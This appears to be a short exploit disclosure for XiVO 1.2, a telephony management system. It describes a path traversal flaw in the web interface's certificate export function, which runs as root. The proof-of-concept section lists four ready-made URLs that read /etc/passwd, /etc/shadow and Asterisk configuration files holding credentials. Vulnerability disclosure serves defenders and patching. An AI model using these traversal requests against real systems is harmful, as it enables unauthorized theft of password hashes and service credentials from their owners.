Xivo 1.2 Arbitrary File Download

`Xivo 1.2 Arbitrary File Download under root privileges  
===============================================================  
  
Date: 6/11/2012  
Exploit Author: Mr.Un1k0d3r  
Vendor Homepage: https://wiki.xivo.fr  
Software Link: https://wiki.xivo.fr/index.php/XiVO_1.1-Gallifrey/Install_XiVO_With_CD  
Version: 1.2 (last patched version)  
Tested on: Linux xivo 2.6.32-5-486  
  
Exploit:  
Using the web interface you can download any file from the system. The web application is running under root privileges.  
You can download clear text password, /etc/passwd, /etc/shadow and many more...  
  
POC:  
https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/passwd  
https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/shadow  
https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/asterisk/manager.conf  
https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/asterisk/cel_pgsql.conf  
  
This vulnerability was discover by Mr.Un1k0d3r From RingZer0 Team.  
  
  
`